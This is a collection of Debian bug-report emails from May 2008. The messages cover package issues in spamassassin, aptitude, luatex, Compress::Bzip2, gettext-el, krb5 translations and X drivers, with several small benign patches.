Bug#230308: Bug#482044: Please restart spamd on perl upgrades.
On Tue, May 20, 2008 at 10:10:02AM -0400, Noah Meyerhans wrote: On Tue, May 20, 2008 at 06:20:33AM -0700, Daniel Burrows wrote: A much larger amount of spam than usual got through my filters, I think because most of my spam checks couldn't run due to this error. After some confusion, I figured out that I had upgraded perl under a running spamd, from 5.8 to 5.10. Apparently spamd needs to dynamically load perl modules, and removing the 5.8 versions breaks it. It would be great if spamd could be restarted when perl is upgraded. I suspect this is not exactly trivial, which is why I'm filing at wishlist severity. There are a few different things that need to happen to spamassassin when perl is upgraded. Compiled rules need to be blown away and rebuilt, for example. Unfortunately, perl is in a much better position than we are to know when it's upgraded. Perhaps perl should take care of triggering a spamassassin restart, similar to what glibc does... This is also #230308 against perl. Although there's the glibc precedent, the perl package doesn't really want to know which packages need a restart. I wonder if the new dpkg triggers would be a good solution for this. -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482358: requested files for apt-p2p
On 5/21/08, Chris Lawrence [EMAIL PROTECTED] wrote: The file seems to be present now; I'm not sure why it was missing before. In any event, here are the files you asked for. Sorry, I neglected to mention to check the symlink destination as well. Is it also there? Are you no longer getting these errors then? If it is there, I suspect that a rare error occurred in which the file disappeared between the checking it was there and the loading of the packages cache. Is it possible that an 'apt-get update' was called while another apt-get call was still downloading? I suspect this may be due to your modification of apt-p2p to allow for multiple machines on a LAN to use apt-p2p like a proxy. Is that a possibility? Thanks, Cameron -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482305: kernel 2.6.25-2-686 has xen support
There is no problem with the Nvidia script, the problem is Nvidia does not support xen kernels. That is true of the original Xen kernels (up to 2.6.18) but not of the new Xen kernels (2.6.22+). The original Xen port of Linux required that you build a specific Xen kernel which would not boot on native and which made changes that broke the Nvidia drivers, hence they check for CONFIG_XEN and abort if it is enabled, they also added a load of #ifdef CONFIG_XEN stuff. The new Xen port of Linux use the paravirt_ops infrastructure which makes the support of Xen transparent to the rest of the kernel and also allows one binary to boot on both native and Xen. Since the Xen support is now transparent to the rest of the kernel both the check for CONFIG_XEN and the #ifdef CONFIG_XEN code is obsolete and should be removed from the nvidia drivers. I'm all for a better solution to this problem, however, a huge number of users have *no choice* as to which video card is installed in their machines, are being penalized. See http://lists.debian.org/debian-kernel/2008/05/msg00948.html for a report that removing all the CONFIG_XEN checks fixes the issue, it did for me too. Ian. -- Ian Campbell Nothing is rich but the inexhaustible wealth of nature. She shows us only surfaces, but she is a million fathoms deep. -- Ralph Waldo Emerson signature.asc Description: This is a digitally signed message part
Bug#482364: gettext-el: patch for po-mode to save buffer when PO-Revision-Date is hold
Package: gettext-el Version: 0.17-2 Severity: normal Tags: patch Hi, po-mode provides po-auto-replace-revision-date, an option for users to decide whether PO-Revision-Date field in the header should be automatically updated or not. However, when users choose holding that field, by setting that variable to ask and answering n to May I set PO-Revision-Date? (y or n) or by setting that variable to nil, the field is not updated AND THE BUFFER IS NOT SAVED. I've confirmed that this issue represents in Emacs 21 and Emacs 22. This may be a bug due to a fact[1] that Emacs considers the buffer is saved when a hook in write-contents-hooks returns non-nil. So, I've created a patch to fix the issue. Could you please apply it? [1] http://www.gnu.org/software/emacs/elisp/html_node/Saving-Buffers.html (write-contents-hooks is renamed as write-contents-functions in Emacs 22.1). Many thanks, -nori -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-686 Locale: LANG=ja_JP.eucJP, LC_CTYPE=ja_JP.eucJP (charmap=EUC-JP) Versions of packages gettext-el depends on: ii emacs21 [emacsen] 21.4a+1-3etch1 The GNU Emacs editor ii gettext 0.16.1-1 GNU Internationalization utilities ii xemacs21-mule-canna-wnn [ 21.4.19-2 highly customizable text editor -- gettext-el recommends no packages. -- no debconf information Index: gettext-tools/misc/po-mode.el === RCS file: /sources/gettext/gettext/gettext-tools/misc/po-mode.el,v retrieving revision 1.41 diff -u -r1.41 po-mode.el --- gettext-tools/misc/po-mode.el 7 May 2008 23:12:36 - 1.41 +++ gettext-tools/misc/po-mode.el 21 May 2008 18:57:29 - @@ -1391,7 +1391,8 @@ zone \\n\) t t (message )) -(message (_PO-Revision-Date should be adjusted... +(message (_PO-Revision-Date should be adjusted...))) + nil) ;;; Handling span of entry, entry type and entry attributes.
Bug#472709: O: sql-ledger
Raphael Hertzog skrev: retitle 472709 RFH: sql-ledger -- A web based double-entry accounting program thanks On Tue, 25 Mar 2008, Finn-Arne Johansen wrote: I propose to Orphan sql-ledger. Current version in Debian is 2.6.22-2, Upstream is 2.8.14. I've hade hopes that the effort to get smbledger into debian would succeed before we ship lenny, but I doubt that it will happen. Therefor, I fill it's best to Orphan sql-ledger. I do need such a web-application. Until smbledger is ready I'll continue to maintain sql-ledger in a low-maintenance mode. Thus I transform this bug into a RFH (Request for help) so that if anyone want to take over the responsibility of this package, he can. I just uploaded the latest upstream version to sid. If you want to be removed from the Maintainer field, let me know. Yes please. -- Finn-Arne Johansen [EMAIL PROTECTED] http://bzz.no/ EE2A71C6403A3D191FCDC043006F1215062E6642 062E6642 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482358: requested files for apt-p2p
On Thu, May 22, 2008 at 1:06 AM, Cameron Dale [EMAIL PROTECTED] wrote: On 5/21/08, Chris Lawrence [EMAIL PROTECTED] wrote: The file seems to be present now; I'm not sure why it was missing before. In any event, here are the files you asked for. Sorry, I neglected to mention to check the symlink destination as well. Is it also there? Are you no longer getting these errors then? Yep, I only got the Python tracebacks on the first segfault, not the second. If it is there, I suspect that a rare error occurred in which the file disappeared between the checking it was there and the loading of the packages cache. Is it possible that an 'apt-get update' was called while another apt-get call was still downloading? I suspect this may be due to your modification of apt-p2p to allow for multiple machines on a LAN to use apt-p2p like a proxy. Is that a possibility? No, the second client wasn't active on the LAN at either time; the laptop that I use as the second client has been disconnected from the LAN since Sunday morning, so all that's been happening is local accesses and whatever p2p traffic has been active. Chris -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#348082: xserver-xorg: [ati/radeon] pinkness and interference pattern on Radeon RV250 If [Radeon 9000] rev 1 and TMDS-connected Samsung SyncMaster 213T
Branden Robinson wrote: 6) ...and the byteswapped cursor. Thanks, Alex! This helped a lot. Problems 1), 2), and 3) above are gone. 4) is no longer applicable; 5) and 6) remain. 5) should be fixed once you switch to Xserver 1.5 and the ati driver snapshot in experimental. Brice -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#229285: [Pkg-awstats-devel] Suggestion for moving awstats to apache2 as default config.
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Wed, May 21, 2008 at 10:52:11PM +0200, Andreas Henriksson wrote: Here's a patch that does the basics for replacing apache with apache2 as the default, since apache was removed after etch and we now only have one version (apache2). I am fine with changing the default, as long as it is kept overrideable. That is, setups favouring eg. lighttpd should work too. For extra bonus points, we could fix #229285 by doing: reuse example apache config for apache2 (svn move debian/examples/apache.conf debian/apache.conf) comment out everything except the Alias (or atleast everything with security concerns). Add debian/apache.conf /etc/apache2/conf.d/awstats to debian/awstats.install Drop debian/examples/apache.conf in debian/rules. Apache 1.3 used to use different access rights for logfiles than apache 2.x. Some instructions and/or setup might need an update now (but it is quite some time ago I looked into it, so I may be wrong). Apart from that your changes look sane to me. Please go ahead (and we'll fix it together if things should break). - Jonas - -- * Jonas Smedegaard - idealist og Internet-arkitekt * Tlf.: +45 40843136 Website: http://dr.jones.dk/ - Enden er nær: http://www.shibumi.org/eoti.htm -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFINRTdn7DbMsAkQLgRAj6nAJ9tbNhzEEnj5DvIF9xlG0nCGVS6fwCfYFFW NkjrDsNb2Y7/f8XF8wXi7Y0= =SS5d -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482365: aptitude proceeds with install without permission to do so
Package: aptitude Version: 0.4.11.2-1 Severity: normal I consider this pretty serious misbehavior, since it results in aptitude taking action without a request to take action. However, this only happens in peculiar circumstances, namely an X failure killed my who X session. I ran aptitude in a KDE terminal and hit u, U, and g (i.e., start upgrade). It downloaded the debs, checked for bugs (I don't think there were any) and showed me the changlog. It then asked (roughly) Proceed with upgrade (Y/N)? Since one of the upgrades involved the kernel I was running, and since I had a long-running computation I didn't want to risk interruptings. I did not respond. Hours later I locked the screen (running KDE, launched from KDE). After some time, another user switched to her existing session on another virtual terminal. After a couple of minutes my original X session, which was not on the screen, crashed. At that point, aptitude apparently decided to proceed with the installation: May 21 21:30:24 corn kernel: Xorg[7160]: segfault at 01a4 eip 0818c49a esp bf98f9a0 error 4 The dpkg log shows action started shortly thereafter: 2008-05-21 21:30:37 startup archives unpack 2008-05-21 21:30:53 upgrade linux-image-2.6.24-1-686 2.6.24-6 2.6.24-7 2008-05-21 21:30:53 status half-configured linux-image-2.6.24-1-686 2.6.24-6 I speculate that aptitude either mishandled a signal to die or got disoriented by the disappearance of the terminal it was in. There are many possible culprits: X or KDE Terminal generated a bogus character as X went down; apt-listchanges; apt; or any of the libraries they depend on. Please reassign if appropriate. Obviously it would be nice if X didn't crash, but this bug is about how aptitude handles things when it does. -- Package-specific info: aptitude 0.4.11.2 compiled at Apr 12 2008 04:21:26 Compiler: g++ 4.2.3 (Debian 4.2.3-3) Compiled against: apt version 4.6.0 NCurses version 5.6 libsigc++ version: 2.0.18 Ept support enabled. Current library versions: NCurses version: ncurses 5.6.20080308 cwidget version: 0.5.11 Apt version: 4.6.0 linux-gate.so.1 = (0xe000) libapt-pkg-libc6.7-6.so.4.6 = /usr/lib/libapt-pkg-libc6.7-6.so.4.6 (0xb7e8) libncursesw.so.5 = /lib/libncursesw.so.5 (0xb7e44000) libsigc-2.0.so.0 = /usr/lib/libsigc-2.0.so.0 (0xb7e3d000) libcwidget.so.3 = /usr/lib/libcwidget.so.3 (0xb7d4d000) libept.so.0 = /usr/lib/libept.so.0 (0xb7cd5000) libxapian.so.15 = /usr/lib/libxapian.so.15 (0xb7b62000) libz.so.1 = /usr/lib/libz.so.1 (0xb7b4d000) libpthread.so.0 = /lib/i686/cmov/libpthread.so.0 (0xb7b35000) libstdc++.so.6 = /usr/lib/libstdc++.so.6 (0xb7a47000) libm.so.6 = /lib/i686/cmov/libm.so.6 (0xb7a22000) libgcc_s.so.1 = /lib/libgcc_s.so.1 (0xb7a15000) libc.so.6 = /lib/i686/cmov/libc.so.6 (0xb78c7000) libutil.so.1 = /lib/i686/cmov/libutil.so.1 (0xb78c3000) libdl.so.2 = /lib/i686/cmov/libdl.so.2 (0xb78be000) /lib/ld-linux.so.2 (0xb7f6d000) Terminal: xterm $DISPLAY is set. `which aptitude`: /usr/bin/aptitude aptitude version information: aptitude linkage: -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (990, 'stable'), (50, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages aptitude depends on: ii apt [libapt-pkg-libc6. 0.7.11Advanced front-end for dpkg ii libc6 2.7-10GNU C Library: Shared libraries ii libcwidget30.5.11-1 high-level terminal interface libr ii libept00.5.17High-level library for managing De ii libgcc11:4.3.0-3 GCC support library ii libncursesw5 5.6+20080308-1Shared libraries for terminal hand ii libsigc++-2.0-0c2a 2.0.18-2 type-safe Signal Framework for C++ ii libstdc++6 4.3.0-3 The GNU Standard C++ Library v3 ii libxapian151.0.5-1 Search engine library ii zlib1g 1:1.2.3.3.dfsg-12 compression library - runtime Versions of packages aptitude recommends: ii aptitude-doc-en [aptitude-doc 0.4.11.2-1 English manual for aptitude, a ter ii libparse-debianchangelog-perl 1.1.1-2parse Debian changelogs and output -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#443167: fluxbox also doesn't notice resolution changes
On 20:06 Tue 20 May , Josef Spillner wrote: JS Just some add-on information: JS It also doesn't recognise resolution changes so that if a screen is scaled JS down from 1680x1050 to 1024x768 to accommodate a projector, then displaying JS PDF files fullscreen crops them. Happened today to me in front of my JS students, who hence collectively learned that fluxbox 1.0.0+deb1-6 is JS inferiour to state-of-the-art window managers. JS And I was about to open a new bug just to see that this one has been open for JS a long time. Before trying to do anything about it I want to see some JS feedback. Unfortunately I don't use xrandr and different screen sizes, so I can say nothing on this bug. The only thing I definitely know is the following: the developers have been informed about this bug and may be they even have already corrected it. Wouldn't it be too much trouble for You to build the git-version of fluxbox? In the neighbour bug-treads I wrote how to build it. Here for example: #375709 Some new settings are not finished yet in git-version, however it is possible to estimate if this bug declares itself or not. signature.asc Description: Digital signature
Bug#481207:
i have the same problem. i check the /usr/lib/perl/5.10/_h2ph_pre.ph
file and found this:
# gross hack
unless (defined __LONG_MAX__) { sub __LONG_MAX__ { 2147483647 } }
i comment out this line (i don't know whether this is good ... but it
works).
--
use your brain and think about it
/~\
C oo
_( ^)
/ ~\
http://konsumer.wordpress.com/
E-Mail: [EMAIL PROTECTED]
signature.asc
Description: Dies ist ein digital signierter Nachrichtenteil
Bug#482366: krb5: [INTL:de] updated German debconf translation
Package: krb5 Version: 1.6.dfsg.3-3 Severity: wishlist Tags: patch l10n Please find the updated German debconf translation for krb5 attached. Please place this file in debian/po/ as de.po for your next upload. If you update your template, please use 'msgfmt --statistics pofile.po' to check the po-files for fuzzy or untranslated strings. If there are such strings, please contact me so I can update the German translation. Greetings Helge # Translation of krb5 debconf templates to German # Copyright (C): # Jens Nachtigall [EMAIL PROTECTED], 2005. # Helge Kreutzmann [EMAIL PROTECTED], 2007, 2008. # This file is distributed under the same license as the krb5 package. # msgid msgstr Project-Id-Version: krb5 1.6.dfsg.3-3\n Report-Msgid-Bugs-To: [EMAIL PROTECTED] POT-Creation-Date: 2008-05-21 11:38-0700\n PO-Revision-Date: 2008-05-22 08:59+0200\n Last-Translator: Helge Kreutzmann [EMAIL PROTECTED]\n Language-Team: German [EMAIL PROTECTED]\n MIME-Version: 1.0\n Content-Type: text/plain; charset=iso-8859-15\n Content-Transfer-Encoding: 8bit\n #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid Setting up a Kerberos Realm msgstr Einrichten des Kerberos-Realm #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid This package contains the administrative tools required to run the Kerberos master server. msgstr Dieses Paket enthält die administrativen Werkzeuge, die zum Betrieb des Kerberos-Master-Servers benötigt werden. #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid However, installing this package does not automatically set up a Kerberos realm. This can be done later by running the \krb5_newrealm\ command. msgstr Allerdings führt die Installation dieses Pakets nicht automatisch zur Einrichtung einer Kerberos-Realm. Dies kann später mit dem Befehl »krb5_newrealm« erfolgen. #. Type: note #. Description #: ../krb5-admin-server.templates:2001 msgid Please also read the /usr/share/doc/krb5-kdc/README.KDC file and the administration guide found in the krb5-doc package. msgstr Bitte lesen Sie auch die Datei /usr/share/doc/krb5-kdc/README.KDC und den administrativen Leitfaden im krb5-doc-Paket. #. Type: boolean #. Description #: ../krb5-admin-server.templates:3001 msgid Run the Kerberos V5 administration daemon (kadmind)? msgstr Soll der Kerberos V5-Administrations-Daemon (kadmind) laufen? #. Type: boolean #. Description #: ../krb5-admin-server.templates:3001 msgid Kadmind serves requests to add/modify/remove principals in the Kerberos database. msgstr Kadmind bedient Anfragen, um Prinzipale in der Kerberos-Datenbank hinzuzufügen/zu verändern/zu entfernen. #. Type: boolean #. Description #: ../krb5-admin-server.templates:3001 msgid It is required by the kpasswd program, used to change passwords. With standard setups, this daemon should run on the master KDC. msgstr Es wird vom Kpasswd-Programm benötigt, dass zum Ändern von Passwörtern verwendet wird. Im Normalfall sollte der Daemon auf dem Master-KDC laufen. #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid Create the Kerberos KDC configuration automatically? msgstr Die Kerberos-KDC-Konfiguration automatisch erstellen? #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid The Kerberos Domain Controller (KDC) configuration files, in /etc/krb5kdc, may be created automatically. msgstr Die Konfigurationsdateien des »Kerberos Domain Controller« (KDC) in /etc/ krb5kdc können automatisch erstellt werden. #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid By default, an example template will be copied into this directory with local parameters filled in. msgstr Standardmäßig wird eine Beispielvorlage in dieses Verzeichnis kopiert, in der lokale Parameter eingetragen sind. #. Type: boolean #. Description #: ../krb5-kdc.templates:2001 msgid Administrators who already have infrastructure to manage their Kerberos configuration may wish to disable these automatic configuration changes. msgstr Administratoren, die bereits über eine Infrastruktur zur Verwaltung ihrer Kerberos-Konfiguration verfügen, möchten diese automatischen Konfigurationsänderungen eventuell deaktivieren. #. Type: select #. Description #: ../krb5-kdc.templates:3001 msgid Kerberos V4 compatibility mode to use: msgstr Zu benutzender Kerberos V4-Kompatibilitäts-Modus: #. Type: select #. Description #. nopreauth is a literal string and should be left in English #: ../krb5-kdc.templates:3001 msgid By default, Kerberos V4 requests are allowed from principals that do not require preauthentication (\nopreauth\). This allows Kerberos V4 services to exist while requiring most users to use Kerberos V5 clients to get their initial tickets. These tickets can then be converted to Kerberos V4 tickets. msgstr Standardmäßig werden Kerberos V4-Anfragen von Prinzipalen erlaubt, die keine vorherige Authentifizierung benötigen (»nopreauth«). Das
Bug#482311: luatex: check_isnode() implicitly converted to pointer
Hi, dann frazier wrote: Package: luatex Version: 0.25.2-1 Severity: important Tags: patch Usertags: implicit-pointer-conversion Our automated buildd log filter[1] detected a problem that is likely to cause your package to segfault on architectures where the size of a pointer is greater than the size of an integer, such as ia64 and amd64. Function `check_isnode' implicitly converted to pointer at ../../../../src/texk/web2c/luatexdir/lua/llanglib.c:168 This is often due to a missing function prototype definition. This bug was already fixed in my upstream source, but thanks for taking the effort of reporting bugs. Best wishes, Taco -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482303: luatex: getpwnam() implicitly converted to pointer
dann frazier wrote: Package: luatex Version: 0.25.2-1 Severity: important Usertags: implicit-pointer-conversion Our automated buildd log filter[1] detected a problem that is likely to cause your package to segfault on architectures where the size of a pointer is greater than the size of an integer, such as ia64 and amd64. Function `getpwnam' implicitly converted to pointer at ../../../src/texk/kpathsea/tilde.c:103 This is often due to a missing function prototype definition. For more information, see [2]. luatex provides its own pwd.h file which is getting included instead of the system pwd.h file and does not include a prototype for getpwnam(). If the luatex pwd.h file is not available in the include path, the system one gets properly included: Thanks, I have come up with a solution where luatex is using the system-wide pwd.h except while crosscompiling for win32 (that is what the file was there for). Best wishes, Taco -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482044: Bug#230308: Bug#482044: Please restart spamd on perl upgrades.
On Thu, 22 May 2008, Niko Tyni wrote: On Tue, May 20, 2008 at 10:10:02AM -0400, Noah Meyerhans wrote: There are a few different things that need to happen to spamassassin when perl is upgraded. Compiled rules need to be blown away and rebuilt, for example. Unfortunately, perl is in a much better position than we are to know when it's upgraded. Perhaps perl should take care of triggering a spamassassin restart, similar to what glibc does... This is also #230308 against perl. Although there's the glibc precedent, the perl package doesn't really want to know which packages need a restart. I wonder if the new dpkg triggers would be a good solution for this. No, the only way triggers could be used would be if spamassasin was triggered on update of /usr/bin/perl and it would have no way to know if it's a major upgrade (5.8 - 5.10) or just a minor one (5.10.0 - 5.10.1). Triggers are not meant for this kind of hand-holding jobs. Cheers, -- Raphaël Hertzog Le best-seller français mis à jour pour Debian Etch : http://www.ouaza.com/livre/admin-debian/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#348082: xserver-xorg: [ati/radeon] pinkness and interference pattern on Radeon RV250 If [Radeon 9000] rev 1 and TMDS-connected Samsung SyncMaster 213T
On Thu, 2008-05-22 at 08:31 +0200, Brice Goglin wrote: Branden Robinson wrote: 6) ...and the byteswapped cursor. Thanks, Alex! This helped a lot. Problems 1), 2), and 3) above are gone. 4) is no longer applicable; 5) and 6) remain. 5) should be fixed once you switch to Xserver 1.5 and the ati driver snapshot in experimental. I think you mean 6). -- Earthling Michel Dänzer | http://tungstengraphics.com Libre software enthusiast | Debian, X and DRI developer -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464205: Error compressing empty files
The test program submitted did not show the bug (which nevertheless
exists). So here is a patch for the test program, plus a patch to fix
the bug.
--- bzip2test.orig 2008-05-21 23:25:24.0 +0200
+++ bzip2test 2008-05-21 23:25:19.0 +0200
@@ -36,12 +36,12 @@
print Error reading from '$file': $!;
close SOURCE;
}
-last if $bytesread == 0;
my $byteswritten = $bz-bzwrite($buffer);
if ($byteswritten $bytesread) {
print Error bzwriting to temporary file: . $bz-bzerror;
close SOURCE;
}
+last if $bytesread == 0;
}
my $bzflush = $bz-bzflush(BZ_FINISH);
--- libcompress-bzip2-perl-2.09.orig/Bzip2.xs
+++ libcompress-bzip2-perl-2.09/Bzip2.xs
@@ -1485,8 +1485,6 @@
return -2;
}
- if (nUncompressed == 0) return 0;
-
while (True) {
if ( obj-run_progress == 0 ) {
ret = BZ2_bzCompressInit ( (obj-strm), obj-blockSize100k, obj-verbosity, obj-workFactor );
@@ -2253,12 +2251,10 @@
else
bufp = SvPV(buf, len);
-if (len) {
- RETVAL = bzfile_write( obj, bufp, len);
+RETVAL = bzfile_write( obj, bufp, len);
- if ( RETVAL 0 )
+if ( RETVAL 0 )
SvCUR_set( buf, RETVAL );
-}
}
OUTPUT:
--- libcompress-bzip2-perl-2.09.orig/debian/changelog
+++ libcompress-bzip2-perl-2.09/debian/changelog
@@ -0,0 +1,26 @@
+libcompress-bzip2-perl (2.09-1.2) unstable; urgency=low
+
+ * Non-maintainer upload.
+ * Fix bug compressing empty files (closes: #464205)
+
+ -- Jeffrey Ratcliffe [EMAIL PROTECTED] Wed, 21 May 2008 20:55:33 +0200
+
libcompress-bzip2-perl (2.09-1.1) unstable; urgency=low
* Non-maintainer upload.
Bug#482317: libxt6: scroll list overflow in gv
Brice Goglin writes on 22.5.2008 07:42:29: Juha Takala wrote: Brice Goglin writes on 21.5.2008 23:48:03: Juha Takala wrote: Package: libxt6 Version: 1:1.0.2-2 Severity: important I found the problem while viewing large documents vith gv, and I am not very knowledgeable in X terminology, so I apologise, that I will describe the problem in terms of gv: Any chance you try with libxt6 from testing instead of etch/stable? Sure. But I am not sure how to do that. After reading apt-get man page, I tried You need to add a testing line (copy the one from Etch/stable and change it into testing) to your /etc/apt/sources.list first, and then run apt-get update. Well,... after doing that, I first got errors about dynamic MMap running out of room or some such. I disabled apt looking at the stable stuff, and was able to run 'apt-get update' and 'apt-get install libxt6/testing' (upgrading half of my system :). It did not go quite smoothly, but after all, I saw message: Preparing to replace libxt-dev 1:1.0.2-2 (using .../libxt-dev_1%3a1.0.5-3_i386.deb) ... Unpacking replacement libxt-dev ... Preparing to replace libxt6 1:1.0.2-2 (using .../libxt6_1%3a1.0.5-3_i386.deb) ... Unpacking replacement libxt6 ... Setting up libxt6 (1.0.5-3) ... Setting up libxt-dev (1.0.5-3) ... Re-running apt-get-install libxt6/testing says, it is already the newest version. After this, I rebooted, and tested gv with file having 1640 lines, and the problem is still there. -juha Brice -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482190: xscreensaver hack info
Package: xscreensaver Version: 5.04-2 Followup-For: Bug #482190 I am using the Phosphor hack in combination with a little bash script that cats a random source code file prom my projects directory (see attachment). I have now switched to the substrate hack to see if the problem occurs there as well. Maybe is an issue with memory, please check what's the memory status. How would I do that? Would the output of /proc/meminfo be useful for you? -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages xscreensaver depends on: ii libatk1.0-01.22.0-1 The ATK accessibility toolkit ii libc6 2.7-10GNU C Library: Shared libraries ii libcairo2 1.6.4-1+b1The Cairo 2D vector graphics libra ii libglade2-01:2.6.2-1 library to load .glade files at ru ii libglib2.0-0 2.16.3-2 The GLib library of C routines ii libgtk2.0-02.12.9-3 The GTK+ graphical user interface ii libice62:1.0.4-1 X11 Inter-Client Exchange library ii libjpeg62 6b-14 The Independent JPEG Group's JPEG ii libpam0g 0.99.7.1-6Pluggable Authentication Modules l ii libpango1.0-0 1.20.2-2 Layout and rendering of internatio ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libx11-6 2:1.0.3-7 X11 client-side library ii libxext6 2:1.0.4-1 X11 miscellaneous extension librar ii libxinerama1 2:1.0.3-1 X11 Xinerama extension library ii libxml22.6.32.dfsg-2 GNOME XML library ii libxmu62:1.0.4-1 X11 miscellaneous utility library ii libxpm41:3.5.7-1 X11 pixmap library ii libxrandr2 2:1.2.2-1 X11 RandR extension library ii libxrender11:0.9.4-1 X Rendering Extension client libra ii libxt6 1:1.0.5-3 X11 toolkit intrinsics library ii libxxf86misc1 1:1.0.1-2 X11 XFree86 miscellaneous extensio ii libxxf86vm11:1.0.1-2 X11 XFree86 video mode extension l ii netpbm 2:10.0-11.1 Graphics conversion tools Versions of packages xscreensaver recommends: pn libjpeg-progs none (no description available) ii perl [perl5] 5.10.0-10 Larry Wall's Practical Extraction ii wamerican [wordlist] 6-2.1 American English dictionary words pn xli | xloadimage none (no description available) -- no debconf information randomcode Description: application/shellscript
Bug#482305: kernel 2.6.25-2-686 has xen support
Ian Campbell wrote: There is no problem with the Nvidia script, the problem is Nvidia does not support xen kernels. That is true of the original Xen kernels (up to 2.6.18) but not of the new Xen kernels (2.6.22+). Thanks for clearing that up Ian, looking forward to the patch being incorporated in the next nvidia-source package. -- Babstar -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482367: acheck: [INTL:pt] Portuguese translation
Package: acheck Version: 0.5.1 Tags: l10n, patch Severity: wishlist Portuguese translation for acheck's debconf messages. Translator: Pedro Ribeiro [EMAIL PROTECTED] Feel free to use it. For translation updates please contact 'Last Translator' or the Portuguese Translation Team traduz _at_ debianpt.org. -- Best regards, Miguel Figueiredo Traduz - Portuguese Translation Team http://www.DebianPT.org pt.po Description: application/gettext
Bug#482368: should allow not writing /etc/webalizer.conf
Package: webalizer Version: 2.01.10-32.2 Severity: normal I have a rather elaborate scheme for configuring webalizer and because webalizer by default always reads /etc/webalizer.conf I have needed to delete it. However, during package upgrades, the webalizer debian config is invoked which rewrites the file without regard to the fact that I have removed it. Please provide an option to not use the debconf webalizer config. -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.20-xen-r6 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages webalizer depends on: ii debconf [debconf-2.0] 1.5.21Debian configuration management sy ii libc6 2.7-10GNU C Library: Shared libraries ii libdb4.5 4.5.20-11 Berkeley v4.5 Database Libraries [ ii libgd2-xpm 2.0.36~rc1~dfsg-1 GD Graphics Library version 2 ii libgeoip1 1.4.4.dfsg-1 A non-DNS IP-to-country resolver l ii libpng12-0 1.2.27-1 PNG library - runtime ii zlib1g 1:1.2.3.3.dfsg-12 compression library - runtime webalizer recommends no packages. -- debconf information: * webalizer/logfile: /var/log/apache/access.log.1 * webalizer/doc_title: Usage statistics for webalizer/upgrading: * webalizer/dnscache: false * webalizer/directory: /var/www/webalizer webalizer/upgrade2011030: -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481159: reportbug: my .vimrc is borked
Package: reportbug Followup-For: Bug #481159 Sorry for the late response. I've been a bit bust fixing the OpenSSL mess on my networks. Anyway, I haven't set a default editor, but sensible-editor starts vim. After a bit of poking around I found that it's a problem with my .vimrc file. I usually use gvim and I have included some config options to have gvim make full use of my monitor: set co=156 set lines=53 This works fine for gvim and also for regular vim when I use a maximised gnome-terminal. When I ran reportbug my gnome-terminal wasn't maximised. It turns out that the above settings cause problems for vim when the actual terminal is smaller than 156x53 characters. So, this bug should be marked as invalid or something and I should read up on .vimrc. My apologies for filing an invalid bug. -- Package-specific info: ** Environment settings: INTERFACE=text ** /home/sander/.reportbugrc: reportbug_version 3.31 mode standard ui text email [EMAIL PROTECTED] no-cc header X-Debbugs-CC: [EMAIL PROTECTED] smtphost bugs.debian.org -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: 